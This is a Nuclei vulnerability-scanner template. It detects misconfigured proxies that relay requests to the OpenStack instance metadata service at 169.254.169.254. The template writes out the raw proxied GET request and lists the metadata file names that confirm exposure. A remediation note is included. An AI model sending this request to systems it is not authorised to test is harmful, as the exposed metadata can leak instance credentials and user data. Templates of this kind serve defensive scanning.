nuclei-templates/http/misconfiguration/proxy/metadata-openstack.yaml

id: metadata-service-openstack

# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
info:
  name: Openstack Metadata Service Check
  author: sullo,daffainfo
  severity: critical
  description: The Openstack host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
  remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
  reference:
    - https://docs.openstack.org/nova/latest/admin/metadata-service.html
    - https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
    - https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cwe-id: CWE-441
  metadata:
    max-request: 2
  tags: exposure,config,openstack,proxy,misconfig,metadata

http:
  - raw:
      - |+
        GET http://{{hostval}}/openstack/latest HTTP/1.1
        Host: {{hostval}}

    payloads:
      hostval:
        - aws.oast.online
        - 169.254.169.254
    unsafe: true
    matchers:
      - type: word
        part: body
        words:
          - "meta_data.json"
          - "user_data"
          - "vendor_data.json"
        condition: and

# digest: 490a0046304402201114388120943546bb32c03289955b8e2df3660ab5a403d294519ec91336a57502207c799b2ab3c6b4fb310cba35dab6d548a0d1e160f203359a387cc8f9f3fe8eab:922c64590222798bb761d5b6d8e72950